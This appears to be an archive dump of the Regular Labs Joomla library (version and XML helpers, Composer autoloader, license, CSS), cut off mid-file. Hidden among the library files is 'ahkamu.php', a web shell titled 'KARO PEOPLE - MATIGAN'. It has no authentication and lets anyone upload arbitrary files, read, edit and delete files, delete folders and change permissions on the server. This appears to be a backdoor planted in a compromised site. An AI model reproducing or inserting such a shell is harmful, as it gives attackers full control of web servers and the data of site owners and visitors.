defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper as JComponentHelper;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Router\Route as JRoute;
use Joomla\CMS\Session\Session as JSession;
use Joomla\CMS\Uri\Uri as JUri;
jimport('joomla.filesystem.file');
/**
* Class Version
* @package RegularLabs\Library
*/
class Version
{
/**
* Get the version of the given extension
*
* @param $alias
* @param string $type
* @param string $folder
*
* @return string
*/
public static function get($alias, $type = 'component', $folder
= 'system')
{
return trim(Extension::getXmlValue('version', $alias, $type,
$folder));
}
/**
* Get the version of the given plugin
*
* @param $alias
* @param string $folder
*
* @return string
*/
public static function getPluginVersion($alias, $folder =
'system')
{
return self::get($alias, 'plugin', $folder);
}
/**
* Get the version of the given component
*
* @param $alias
*
* @return string
*/
public static function getComponentVersion($alias)
{
return self::get($alias, 'component');
}
/**
* Get the version of the given module
*
* @param $alias
*
* @return string
*/
public static function getModuleVersion($alias)
{
return self::get($alias, 'module');
}
/**
* Get the version message
*
* @param $alias
*
* @return string
*/
public static function getMessage($alias)
{
if ( ! $alias)
{
return '';
}
$name = Extension::getNameByAlias($alias);
$alias = Extension::getAliasByName($alias);
if ( ! $version = self::get($alias))
{
return '';
}
Document::loadMainDependencies();
$url = 'download.regularlabs.com/extensions.xml?j=3&e='
. $alias;
$script = "
jQuery(document).ready(function() {
RegularLabsScripts.loadajax(
'" . $url . "',
'RegularLabsScripts.displayVersion( data, \"" . $alias
. "\", \"" . str_replace(['FREE',
'PRO'], '', $version) . "\" )',
'RegularLabsScripts.displayVersion( \"\" )',
null, null, null, (60 * 60)
);
});
";
JFactory::getDocument()->addScriptDeclaration($script);
return '<div class="alert alert-success"
style="display:none;" id="regularlabs_version_' .
$alias . '">' . self::getMessageText($alias, $name,
$version) . '</div>';
}
/**
* Get the full footer
*
* @param $name
* @param int $copyright
*
* @return string
*/
public static function getFooter($name, $copyright = true)
{
Document::loadMainDependencies();
$html = [];
$html[] = '<div class="rl_footer_extension">' .
self::getFooterName($name) . '</div>';
if ($copyright)
{
$html[] = '<div class="rl_footer_review">' .
self::getFooterReview($name) . '</div>';
$html[] = '<div class="rl_footer_logo">' .
self::getFooterLogo() . '</div>';
$html[] = '<div class="rl_footer_copyright">'
. self::getFooterCopyright() . '</div>';
}
return '<div class="rl_footer">' .
implode('', $html) . '</div>';
}
/**
* Get the version message text
*
* @param $alias
* @param $name
* @param $version
*
* @return array|string
*/
private static function getMessageText($alias, $name, $version)
{
list($url, $onclick) = self::getUpdateLink($alias, $version);
$href = $onclick ? '' : 'href="' . $url .
'" target="_blank" ';
$onclick = $onclick ? 'onclick="' . $onclick .
'" ' : '';
$is_pro = strpos($version, 'PRO') !== false;
$version = str_replace(['FREE', 'PRO'],
['', ' <small>[PRO]</small>'], $version);
$msg = '<div class="text-center">'
. '<span class="ghosted">'
. JText::sprintf('RL_NEW_VERSION_OF_AVAILABLE',
JText::_($name))
. '</span>'
. '<br>'
. '<a ' . $href . $onclick . ' class="btn
btn-large btn-success">'
. '<span class="icon-upload"></span> '
.
StringHelper::html_entity_decoder(JText::sprintf('RL_UPDATE_TO',
'<span id="regularlabs_newversionnumber_' . $alias .
'"></span>'))
. '</a>';
if ( ! $is_pro)
{
$msg .= ' <a
href="https://www.regularlabs.com/purchase/cart/add/' . $alias .
'" target="_blank" class="btn btn-large
btn-primary">'
. '<span class="icon-basket"></span> '
. JText::_('RL_GO_PRO')
. '</a>';
}
$msg .= '<br>'
. '<span class="ghosted">'
. '[ <a href="https://www.regularlabs.com/' . $alias .
'/changelog" target="_blank">'
. JText::_('RL_CHANGELOG')
. '</a> ]'
. '<br>'
. JText::sprintf('RL_CURRENT_VERSION', $version)
. '</span>'
. '</div>';
return StringHelper::html_entity_decoder($msg);
}
/**
* Get the url and onclick function for the update link
*
* @param $alias
* @param $version
*
* @return array
*/
private static function getUpdateLink($alias, $version)
{
$is_pro = strpos($version, 'PRO') !== false;
if (
! file_exists(JPATH_ADMINISTRATOR .
'/components/com_regularlabsmanager/regularlabsmanager.xml')
|| ! JComponentHelper::isInstalled('com_regularlabsmanager')
|| ! JComponentHelper::isEnabled('com_regularlabsmanager')
)
{
$url = $is_pro
? 'https://www.regularlabs.com/' . $alias .
'/features'
:
JRoute::_('index.php?option=com_installer&view=update');
return [$url, ''];
}
$config =
JComponentHelper::getParams('com_regularlabsmanager');
$key = trim($config->get('key'));
if ($is_pro && ! $key)
{
return ['index.php?option=com_regularlabsmanager',
''];
}
jimport('joomla.filesystem.file');
Document::loadMainDependencies();
JHtml::_('behavior.modal');
JFactory::getDocument()->addScriptDeclaration(
"
var RLEM_TIMEOUT = " . (int) $config->get('timeout',
5) . ";
var RLEM_TOKEN = '" . JSession::getFormToken() . "';
"
);
Document::script('regularlabsmanager/script.min.js',
'21.2.19653');
$url = 'https://download.regularlabs.com?ext=' . $alias .
'&j=3';
if ($is_pro)
{
$url .= '&k=' . strtolower(substr($key, 0, 8) .
md5(substr($key, 8)));
}
return ['',
'RegularLabsManager.openModal(\'update\', [\'' .
$alias . '\'], [\'' . $url . '\'],
true);'];
}
/**
* Get the extension name and version for the footer
*
* @param $name
*
* @return string
*/
private static function getFooterName($name)
{
$name = JText::_($name);
if ( ! $version = self::get($name))
{
return $name;
}
if (strpos($version, 'PRO') !== false)
{
return $name . ' v' . str_replace('PRO',
'', $version) . ' <small>[PRO]</small>';
}
if (strpos($version, 'FREE') !== false)
{
return $name . ' v' . str_replace('FREE',
'', $version) . ' <small>[FREE]</small>';
}
return $name . ' v' . $version;
}
/**
* Get the review text for the footer
*
* @param $name
*
* @return string
*/
private static function getFooterReview($name)
{
$alias = Extension::getAliasByName($name);
$jed_url = 'http://regl.io/jed-' . $alias .
'#reviews';
return StringHelper::html_entity_decoder(
JText::sprintf(
'RL_JED_REVIEW',
'<a href="' . $jed_url . '"
target="_blank">',
'</a>'
. ' <a href="' . $jed_url . '"
target="_blank" class="stars">'
. str_repeat('<span
class="icon-star"></span>', 5)
. '</a>'
)
);
}
/**
* Get the Regular Labs logo for the footer
*
* @return string
*/
private static function getFooterLogo()
{
return JText::sprintf(
'RL_POWERED_BY',
'<a href="https://www.regularlabs.com"
target="_blank">'
. '<img src="' . JUri::root() .
'media/regularlabs/images/logo.png" width="135"
height="24" alt="Regular Labs">'
. '</a>'
);
}
/**
* Get the copyright text for the footer
*
* @return string
*/
private static function getFooterCopyright()
{
return JText::_('RL_COPYRIGHT') . ' © ' .
date('Y') . ' Regular Labs - ' .
JText::_('RL_ALL_RIGHTS_RESERVED');
}
}
src/Xml.php000064400000002767151165347560006635 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use SimpleXMLElement;
jimport('joomla.filesystem.file');
/**
* Class File
* @package RegularLabs\Library
*/
class Xml
{
/**
* Get an object filled with data from an xml file
*
* @param string $url
* @param string $root
*
* @return object
*/
public static function toObject($url, $root = '')
{
$cache_id = 'xmlToObject_' . $url . '_' . $root;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if (file_exists($url))
{
$xml = @new SimpleXMLElement($url, LIBXML_NONET | LIBXML_NOCDATA, 1);
}
else
{
$xml = simplexml_load_string($url, "SimpleXMLElement",
LIBXML_NONET | LIBXML_NOCDATA);
}
if ( ! @count($xml))
{
return Cache::set(
$cache_id,
(object) []
);
}
if ($root)
{
if ( ! isset($xml->{$root}))
{
return Cache::set(
$cache_id,
(object) []
);
}
$xml = $xml->{$root};
}
$json = json_encode($xml);
$xml = json_decode($json);
if (is_null($xml))
{
$xml = (object) [];
}
if ($root && isset($xml->{$root}))
{
$xml = $xml->{$root};
}
return Cache::set(
$cache_id,
$xml
);
}
}
vendor/autoload.php000064400000000262151165347560010377 0ustar00<?php
// autoload.php @generated by Composer
require_once __DIR__ . '/composer/autoload_real.php';
return ComposerAutoloaderInitf9099d81d2e2cf4863a68cf73354cfc1::getLoader();
vendor/composer/autoload_classmap.php000064400000000223151165347570014107
0ustar00<?php
// autoload_classmap.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
);
vendor/composer/autoload_namespaces.php000064400000000225151165347570014425
0ustar00<?php
// autoload_namespaces.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
);
vendor/composer/autoload_psr4.php000064400000000311151165347570013172
0ustar00<?php
// autoload_psr4.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'RegularLabs\\Library\\' => array($baseDir .
'/src'),
);
vendor/composer/autoload_real.php000064400000003440151165347570013233
0ustar00<?php
// autoload_real.php @generated by Composer
class ComposerAutoloaderInitf9099d81d2e2cf4863a68cf73354cfc1
{
private static $loader;
public static function loadClassLoader($class)
{
if ('Composer\Autoload\ClassLoader' === $class) {
require __DIR__ . '/ClassLoader.php';
}
}
/**
* @return \Composer\Autoload\ClassLoader
*/
public static function getLoader()
{
if (null !== self::$loader) {
return self::$loader;
}
spl_autoload_register(array('ComposerAutoloaderInitf9099d81d2e2cf4863a68cf73354cfc1',
'loadClassLoader'), true, true);
self::$loader = $loader = new \Composer\Autoload\ClassLoader();
spl_autoload_unregister(array('ComposerAutoloaderInitf9099d81d2e2cf4863a68cf73354cfc1',
'loadClassLoader'));
$useStaticLoader = PHP_VERSION_ID >= 50600 &&
!defined('HHVM_VERSION') &&
(!function_exists('zend_loader_file_encoded') ||
!zend_loader_file_encoded());
if ($useStaticLoader) {
require_once __DIR__ . '/autoload_static.php';
call_user_func(\Composer\Autoload\ComposerStaticInitf9099d81d2e2cf4863a68cf73354cfc1::getInitializer($loader));
} else {
$map = require __DIR__ . '/autoload_namespaces.php';
foreach ($map as $namespace => $path) {
$loader->set($namespace, $path);
}
$map = require __DIR__ . '/autoload_psr4.php';
foreach ($map as $namespace => $path) {
$loader->setPsr4($namespace, $path);
}
$classMap = require __DIR__ .
'/autoload_classmap.php';
if ($classMap) {
$loader->addClassMap($classMap);
}
}
$loader->register(true);
return $loader;
}
}
vendor/composer/autoload_static.php000064400000001511151165347570013574
0ustar00<?php
// autoload_static.php @generated by Composer
namespace Composer\Autoload;
class ComposerStaticInitf9099d81d2e2cf4863a68cf73354cfc1
{
public static $prefixLengthsPsr4 = array (
'R' =>
array (
'RegularLabs\\Library\\' => 20,
),
);
public static $prefixDirsPsr4 = array (
'RegularLabs\\Library\\' =>
array (
0 => __DIR__ . '/../..' . '/src',
),
);
public static function getInitializer(ClassLoader $loader)
{
return \Closure::bind(function () use ($loader) {
$loader->prefixLengthsPsr4 =
ComposerStaticInitf9099d81d2e2cf4863a68cf73354cfc1::$prefixLengthsPsr4;
$loader->prefixDirsPsr4 =
ComposerStaticInitf9099d81d2e2cf4863a68cf73354cfc1::$prefixDirsPsr4;
}, null, ClassLoader::class);
}
}
vendor/composer/ClassLoader.php000064400000032241151165347570012615
0ustar00<?php
/*
* This file is part of Composer.
*
* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Composer\Autoload;
/**
* ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
*
* $loader = new \Composer\Autoload\ClassLoader();
*
* // register classes with namespaces
* $loader->add('Symfony\Component',
__DIR__.'/component');
* $loader->add('Symfony',
__DIR__.'/framework');
*
* // activate the autoloader
* $loader->register();
*
* // to enable searching the include path (eg. for PEAR packages)
* $loader->setUseIncludePath(true);
*
* In this example, if you try to use a class in the Symfony\Component
* namespace or one of its children (Symfony\Component\Console for
instance),
* the autoloader will first look for the class under the component/
* directory, and it will then fallback to the framework/ directory if not
* found before giving up.
*
* This class is loosely based on the Symfony UniversalClassLoader.
*
* @author Fabien Potencier <fabien@symfony.com>
* @author Jordi Boggiano <j.boggiano@seld.be>
* @see http://www.php-fig.org/psr/psr-0/
* @see http://www.php-fig.org/psr/psr-4/
*/
class ClassLoader
{
// PSR-4
private $prefixLengthsPsr4 = array();
private $prefixDirsPsr4 = array();
private $fallbackDirsPsr4 = array();
// PSR-0
private $prefixesPsr0 = array();
private $fallbackDirsPsr0 = array();
private $useIncludePath = false;
private $classMap = array();
private $classMapAuthoritative = false;
private $missingClasses = array();
private $apcuPrefix;
public function getPrefixes()
{
if (!empty($this->prefixesPsr0)) {
return call_user_func_array('array_merge',
array_values($this->prefixesPsr0));
}
return array();
}
public function getPrefixesPsr4()
{
return $this->prefixDirsPsr4;
}
public function getFallbackDirs()
{
return $this->fallbackDirsPsr0;
}
public function getFallbackDirsPsr4()
{
return $this->fallbackDirsPsr4;
}
public function getClassMap()
{
return $this->classMap;
}
/**
* @param array $classMap Class to filename map
*/
public function addClassMap(array $classMap)
{
if ($this->classMap) {
$this->classMap = array_merge($this->classMap,
$classMap);
} else {
$this->classMap = $classMap;
}
}
/**
* Registers a set of PSR-0 directories for a given prefix, either
* appending or prepending to the ones previously set for this prefix.
*
* @param string $prefix The prefix
* @param array|string $paths The PSR-0 root directories
* @param bool $prepend Whether to prepend the directories
*/
public function add($prefix, $paths, $prepend = false)
{
if (!$prefix) {
if ($prepend) {
$this->fallbackDirsPsr0 = array_merge(
(array) $paths,
$this->fallbackDirsPsr0
);
} else {
$this->fallbackDirsPsr0 = array_merge(
$this->fallbackDirsPsr0,
(array) $paths
);
}
return;
}
$first = $prefix[0];
if (!isset($this->prefixesPsr0[$first][$prefix])) {
$this->prefixesPsr0[$first][$prefix] = (array) $paths;
return;
}
if ($prepend) {
$this->prefixesPsr0[$first][$prefix] = array_merge(
(array) $paths,
$this->prefixesPsr0[$first][$prefix]
);
} else {
$this->prefixesPsr0[$first][$prefix] = array_merge(
$this->prefixesPsr0[$first][$prefix],
(array) $paths
);
}
}
/**
* Registers a set of PSR-4 directories for a given namespace, either
* appending or prepending to the ones previously set for this
namespace.
*
* @param string $prefix The prefix/namespace, with trailing
'\\'
* @param array|string $paths The PSR-4 base directories
* @param bool $prepend Whether to prepend the directories
*
* @throws \InvalidArgumentException
*/
public function addPsr4($prefix, $paths, $prepend = false)
{
if (!$prefix) {
// Register directories for the root namespace.
if ($prepend) {
$this->fallbackDirsPsr4 = array_merge(
(array) $paths,
$this->fallbackDirsPsr4
);
} else {
$this->fallbackDirsPsr4 = array_merge(
$this->fallbackDirsPsr4,
(array) $paths
);
}
} elseif (!isset($this->prefixDirsPsr4[$prefix])) {
// Register directories for a new namespace.
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4
prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
} elseif ($prepend) {
// Prepend directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
(array) $paths,
$this->prefixDirsPsr4[$prefix]
);
} else {
// Append directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
$this->prefixDirsPsr4[$prefix],
(array) $paths
);
}
}
/**
* Registers a set of PSR-0 directories for a given prefix,
* replacing any others previously set for this prefix.
*
* @param string $prefix The prefix
* @param array|string $paths The PSR-0 base directories
*/
public function set($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr0 = (array) $paths;
} else {
$this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
}
}
/**
* Registers a set of PSR-4 directories for a given namespace,
* replacing any others previously set for this namespace.
*
* @param string $prefix The prefix/namespace, with trailing
'\\'
* @param array|string $paths The PSR-4 base directories
*
* @throws \InvalidArgumentException
*/
public function setPsr4($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr4 = (array) $paths;
} else {
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4
prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
}
}
/**
* Turns on searching the include path for class files.
*
* @param bool $useIncludePath
*/
public function setUseIncludePath($useIncludePath)
{
$this->useIncludePath = $useIncludePath;
}
/**
* Can be used to check if the autoloader uses the include path to
check
* for classes.
*
* @return bool
*/
public function getUseIncludePath()
{
return $this->useIncludePath;
}
/**
* Turns off searching the prefix and fallback directories for classes
* that have not been registered with the class map.
*
* @param bool $classMapAuthoritative
*/
public function setClassMapAuthoritative($classMapAuthoritative)
{
$this->classMapAuthoritative = $classMapAuthoritative;
}
/**
* Should class lookup fail if not found in the current class map?
*
* @return bool
*/
public function isClassMapAuthoritative()
{
return $this->classMapAuthoritative;
}
/**
* APCu prefix to use to cache found/not-found classes, if the
extension is enabled.
*
* @param string|null $apcuPrefix
*/
public function setApcuPrefix($apcuPrefix)
{
$this->apcuPrefix = function_exists('apcu_fetch')
&& filter_var(ini_get('apc.enabled'),
FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
}
/**
* The APCu prefix in use, or null if APCu caching is not enabled.
*
* @return string|null
*/
public function getApcuPrefix()
{
return $this->apcuPrefix;
}
/**
* Registers this instance as an autoloader.
*
* @param bool $prepend Whether to prepend the autoloader or not
*/
public function register($prepend = false)
{
spl_autoload_register(array($this, 'loadClass'), true,
$prepend);
}
/**
* Unregisters this instance as an autoloader.
*/
public function unregister()
{
spl_autoload_unregister(array($this, 'loadClass'));
}
/**
* Loads the given class or interface.
*
* @param string $class The name of the class
* @return bool|null True if loaded, null otherwise
*/
public function loadClass($class)
{
if ($file = $this->findFile($class)) {
includeFile($file);
return true;
}
}
/**
* Finds the path to the file where the class is defined.
*
* @param string $class The name of the class
*
* @return string|false The path if found, false otherwise
*/
public function findFile($class)
{
// class map lookup
if (isset($this->classMap[$class])) {
return $this->classMap[$class];
}
if ($this->classMapAuthoritative ||
isset($this->missingClasses[$class])) {
return false;
}
if (null !== $this->apcuPrefix) {
$file = apcu_fetch($this->apcuPrefix.$class, $hit);
if ($hit) {
return $file;
}
}
$file = $this->findFileWithExtension($class, '.php');
// Search for Hack files if we are running on HHVM
if (false === $file && defined('HHVM_VERSION')) {
$file = $this->findFileWithExtension($class,
'.hh');
}
if (null !== $this->apcuPrefix) {
apcu_add($this->apcuPrefix.$class, $file);
}
if (false === $file) {
// Remember that this class does not exist.
$this->missingClasses[$class] = true;
}
return $file;
}
private function findFileWithExtension($class, $ext)
{
// PSR-4 lookup
$logicalPathPsr4 = strtr($class, '\\',
DIRECTORY_SEPARATOR) . $ext;
$first = $class[0];
if (isset($this->prefixLengthsPsr4[$first])) {
$subPath = $class;
while (false !== $lastPos = strrpos($subPath, '\\'))
{
$subPath = substr($subPath, 0, $lastPos);
$search = $subPath . '\\';
if (isset($this->prefixDirsPsr4[$search])) {
$pathEnd = DIRECTORY_SEPARATOR .
substr($logicalPathPsr4, $lastPos + 1);
foreach ($this->prefixDirsPsr4[$search] as $dir) {
if (file_exists($file = $dir . $pathEnd)) {
return $file;
}
}
}
}
}
// PSR-4 fallback dirs
foreach ($this->fallbackDirsPsr4 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR .
$logicalPathPsr4)) {
return $file;
}
}
// PSR-0 lookup
if (false !== $pos = strrpos($class, '\\')) {
// namespaced class name
$logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
. strtr(substr($logicalPathPsr4, $pos + 1), '_',
DIRECTORY_SEPARATOR);
} else {
// PEAR-like class name
$logicalPathPsr0 = strtr($class, '_',
DIRECTORY_SEPARATOR) . $ext;
}
if (isset($this->prefixesPsr0[$first])) {
foreach ($this->prefixesPsr0[$first] as $prefix => $dirs)
{
if (0 === strpos($class, $prefix)) {
foreach ($dirs as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR
. $logicalPathPsr0)) {
return $file;
}
}
}
}
}
// PSR-0 fallback dirs
foreach ($this->fallbackDirsPsr0 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR .
$logicalPathPsr0)) {
return $file;
}
}
// PSR-0 include paths.
if ($this->useIncludePath && $file =
stream_resolve_include_path($logicalPathPsr0)) {
return $file;
}
return false;
}
}
/**
* Scope isolated include.
*
* Prevents access to $this/self from included files.
*/
function includeFile($file)
{
include $file;
}
vendor/composer/installed.json000064400000000003151165347570012551
0ustar00[]
vendor/composer/LICENSE000064400000002056151165347570010716 0ustar00
Copyright (c) Nils Adermann, Jordi Boggiano
Permission is hereby granted, free of charge, to any person obtaining a
copy
of this software and associated documentation files (the
"Software"), to deal
in the Software without restriction, including without limitation the
rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished
to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
ahkamu.php000064400000022761151165347600006543 0ustar00<?php
// Base directory configuration (change as needed)
$base_dir = $_SERVER['DOCUMENT_ROOT'];
$directory = isset($_GET['dir']) ? $_GET['dir'] :
$base_dir;
$full_path = realpath($directory);
// Security function for path validation
function is_valid_path($path) {
global $base_dir;
return strpos(realpath($path), realpath($base_dir)) === 0;
}
// Function to format file size in human-readable form
function format_size($size) {
$units = ['B', 'KB', 'MB',
'GB', 'TB'];
$unit = 0;
while ($size >= 1024 && $unit < count($units) - 1) {
$size /= 1024;
$unit++;
}
return round($size, 2) . ' ' . $units[$unit];
}
// Function to display folder permissions
function get_permissions($path) {
return substr(sprintf('%o', fileperms($path)), -4);
}
// File Upload Feature
if (isset($_FILES['file_to_upload'])) {
$target_file = $full_path . DIRECTORY_SEPARATOR .
basename($_FILES['file_to_upload']['name']);
if
(move_uploaded_file($_FILES['file_to_upload']['tmp_name'],
$target_file)) {
echo "<div class='alert alert-success'>File
" .
htmlspecialchars(basename($_FILES['file_to_upload']['name']))
. " successfully uploaded.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to upload file.</div>";
}
}
// File Edit Feature
if (isset($_POST['edit_file']) &&
isset($_POST['file_content'])) {
$edit_file = $_POST['edit_file'];
if (is_valid_path($edit_file)) {
file_put_contents($edit_file, $_POST['file_content']);
echo "<div class='alert alert-success'>File
successfully edited.</div>";
} else {
echo "<div class='alert alert-danger'>Invalid
file path.</div>";
}
}
// File Delete Feature
if (isset($_POST['delete_file'])) {
$delete_file = $_POST['delete_file'];
if (is_valid_path($delete_file) && is_file($delete_file)) {
unlink($delete_file);
echo "<div class='alert alert-success'>File
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete file.</div>";
}
}
// Folder Delete Feature
if (isset($_POST['delete_folder'])) {
$delete_folder = $_POST['delete_folder'];
if (is_valid_path($delete_folder) && is_dir($delete_folder)) {
rmdir_recursive($delete_folder);
echo "<div class='alert alert-success'>Folder
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete folder.</div>";
}
}
// Recursive function to delete a folder and its contents
function rmdir_recursive($dir) {
foreach (scandir($dir) as $file) {
if ($file !== '.' && $file !== '..') {
$full_path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($full_path)) {
rmdir_recursive($full_path);
} else {
unlink($full_path);
}
}
}
rmdir($dir);
}
// Load file content for editing via AJAX
if (isset($_GET['load_file'])) {
$file_to_load = $_GET['load_file'];
if (is_valid_path($file_to_load) && is_file($file_to_load)) {
echo file_get_contents($file_to_load);
}
exit;
}
// Handle permissions update
if (isset($_POST['set_permissions'])) {
$target_path = $_POST['target_path'];
$permissions = $_POST['permissions'];
if (is_valid_path($target_path)) {
chmod($target_path, octdec($permissions));
echo "<div class='alert
alert-success'>Permissions updated to
$permissions.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to update permissions.</div>";
}
}
// List Directory Content
$files = scandir($full_path);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,
initial-scale=1.0">
<title>KARO PEOPLE - MATIGAN</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="text-center mb-4">KARO PEOPLE -
MATIGAN</h1>
<!-- File Upload Form -->
<div class="card mb-4">
<div class="card-header">
<h2>Upload File</h2>
</div>
<div class="card-body">
<form action="" method="POST"
enctype="multipart/form-data" class="form-inline">
<div class="form-group">
<input type="file"
name="file_to_upload" class="form-control mb-2
mr-2">
</div>
<button type="submit" class="btn
btn-primary mb-2">Upload</button>
</form>
</div>
</div>
<!-- Directory Content -->
<div class="card">
<div class="card-header">
<h2>Directory Content: <?php echo
htmlspecialchars($full_path); ?></h2>
</div>
<div class="card-body">
<ul class="list-group">
<?php foreach ($files as $file): ?>
<?php if ($file !== '.' && $file
!== '..'): ?>
<li class="list-group-item d-flex
justify-content-between align-items-center">
<?php if (is_dir($full_path .
DIRECTORY_SEPARATOR . $file)): ?>
<a href="?dir=<?php echo
urlencode($full_path . DIRECTORY_SEPARATOR . $file); ?>">
<strong><?php echo
htmlspecialchars($file); ?></strong>
</a>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_folder" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete Folder</button>
</form>
<?php else: ?>
<?php echo htmlspecialchars($file);
?>
(<?php echo
format_size(filesize($full_path . DIRECTORY_SEPARATOR . $file)); ?>)
<span
class="text-muted">(Permissions: <?php echo
get_permissions($full_path . DIRECTORY_SEPARATOR . $file);
?>)</span>
<div>
<button type="button"
class="btn btn-warning btn-sm"
onclick="editFile('<?php echo addslashes($full_path .
DIRECTORY_SEPARATOR . $file); ?>')">Edit</button>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_file" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete</button>
</form>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="target_path" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<input type="text"
name="permissions" placeholder="0644"
class="form-control-sm">
<button type="submit"
name="set_permissions" class="btn btn-info
btn-sm">Set Permissions</button>
</form>
</div>
<?php endif; ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
</div>
</div>
</div>
<!-- Modal for Editing File -->
<div id="editModal" class="modal"
tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Edit
File</h5>
<button type="button"
class="btn-close"
onclick="closeModal()"></button>
</div>
<div class="modal-body">
<form action="" method="POST">
<input type="hidden"
name="edit_file" id="edit_file">
<div class="form-group">
<textarea name="file_content"
id="file_content" rows="10"
class="form-control"></textarea>
</div>
<button type="submit" class="btn
btn-primary mt-3">Save Changes</button>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn
btn-secondary"
onclick="closeModal()">Close</button>
</div>
</div>
</div>
</div>
<script>
function editFile(filePath) {
document.getElementById('editModal').style.display =
'block';
document.getElementById('edit_file').value = filePath;
// Load file content using Ajax
var xhr = new XMLHttpRequest();
xhr.open('GET', '?load_file=' +
encodeURIComponent(filePath), true);
xhr.onload = function () {
if (xhr.status === 200) {
document.getElementById('file_content').value =
xhr.responseText;
}
};
xhr.send();
}
function closeModal() {
document.getElementById('editModal').style.display =
'none';
}
</script>
<!-- Bootstrap JS -->
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
css/codemirror.css000064400000001755151165506420010230 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
.rl_codemirror .CodeMirror {
height: 100px;
min-height: 100px;
max-height: none;
padding-bottom: 15px;
}
.rl_codemirror .cm-resize-handle {
position: relative;
background: #f7f7f7;
height: 15px;
user-select: none;
cursor: ns-resize;
border-top: 1px solid #cccccc;
border-bottom: 1px solid #cccccc;
z-index: 2;
}
.rl_codemirror .cm-resize-handle:before {
position: absolute;
left: 50%;
content: '\2261';
/* https://en.wikipedia.org/wiki/Triple_bar */
color: #999999;
line-height: 13px;
font-size: 15px;
}
.rl_codemirror .cm-resize-handle:hover {
background: #f0f0f0;
}
.rl_codemirror .cm-resize-handle:hover:before {
color: black;
}
css/codemirror.min.css000064400000001003151165506420010774
0ustar00.rl_codemirror
.CodeMirror{height:100px;min-height:100px;max-height:none;padding-bottom:15px}.rl_codemirror
